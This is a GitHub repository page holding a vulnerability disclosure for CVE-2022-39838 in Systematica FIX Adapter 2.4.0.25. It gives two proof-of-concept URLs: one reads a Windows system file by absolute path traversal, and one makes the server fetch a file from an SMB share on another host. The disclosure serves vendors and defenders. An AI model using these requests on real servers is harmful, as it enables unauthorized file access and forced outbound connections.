jet-pentest / CVE-2022-39838 Public

2 stars 0 forks

Star Notifications

Code Issues Pull requests Actions Projects Security Insights

main Go to file

jet-pentest Update README.md ... on Sep 5 4

View code

README.md

CVE-2022-39838

[Suggested description]

Systematica FIX Adapter (ALFAFX) 2.4.0.25 13/09/2017 allows remote file inclusion via a UNC share pathname, and also allows absolute path traversal to local pathnames.

[Additional Information]

PoC:

http://192.168.88.11:8888/info?page=logfile&file=C:\Windows\System32\drivers\etc\hosts

http://192.168.88.11:8888/info?page=logfile&file=\\192.168.88.100\rfi\test.txt

[Vulnerability Type]

Incorrect Access Control

[Vendor of Product]

Systematica

[Affected Product Code Base]

Systematica FIX Adapter (ALFAFX) - 2.4.0.25 (Build 13/09/2017)

[Attack Type]

Remote

[Impact Information Disclosure]

true

[Attack Vectors]

Remote user can get access to arbitrary file in the OS via absolute path. Also remote user can compel vulnerable server to request file from another machine over smb.

[Discoverer]

Ivashchenko Sergey (Jet Infosystems, jet.su)

[Reference]

http://systematicalpha.com/company

Releases

No releases published

Packages

No packages published